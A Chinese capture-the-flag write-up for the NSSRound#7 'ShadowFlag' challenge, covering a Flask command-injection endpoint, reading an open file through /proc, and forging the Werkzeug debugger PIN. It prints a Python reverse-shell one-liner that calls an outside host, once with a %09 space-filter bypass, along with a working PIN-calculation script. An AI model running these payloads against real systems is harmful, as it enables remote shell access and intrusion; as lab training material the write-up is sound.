[NSSRound#7 Team]ShadowFlag

文章目录


前置知识

/proc目录

Linux系统上的/proc目录是一种文件系统,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件。

利用思路:当某些文件打开时并未close或者是flask在运行时,可以利用proc目录去查看某些文件,比如本题的flag1

python的反弹shell

payload

复制代码
python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

pin码计算

本题的flag2由于用的是with语法打开,所以会默认关闭文件,不像flag1可以查看。所以得计算pin码从flask的环境中去寻找flag2

脚本如下(详细过程可参考解题过程)

复制代码
import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

解题步骤

打开题目,源码如下

复制代码
from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

分析一下

定义了flag1为打开flag1的内容(注意打开后并没有close()),然后利用with语法打开flag2并且结束时关闭文件,把变量tag设置为False;看看/shell路由,首先如果tag为False,那么删除flag1和flag 2,然后接收参数act命令执行,其中过滤空格;然后是限制我们扫目录(猜测怕我们扫出来/console

flag1打开后并没有close,由于flask一直在运行,那么我们就可以在proc目录去寻找,但是这里命令执行是没有回显的,我们可以反弹shell

复制代码
python3%09-c%09'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

成功反弹shell

我们在/proc/16/fd目录下找到flag1(一般在15-35)

第二部分我们要在flask环境变量里去找,也就是要算pin码访问./console

首先通过报错得到app.py的绝对路径

然后获取username

然后获取网卡地址

复制代码
cat /sys/class/net/eth0/address

去掉冒号转十进制

-最后的系统id包括两部分,我们先读取/proc/sys/kernel/random/boot_id(有些题目是/proc/sys/kernel/random/boot_id

然后取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

修改脚本(前置知识处有)

访问./console,发现flag2读取不到

这是因为我们要在对应的环境下获取

所以我们访问./shell,POST传参(不为act即可)

然后找到对应的环境,点击右边的调试即可进入debug

相关推荐
叶落阁主13 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954483 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star3 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher5 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
西岸行者8 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习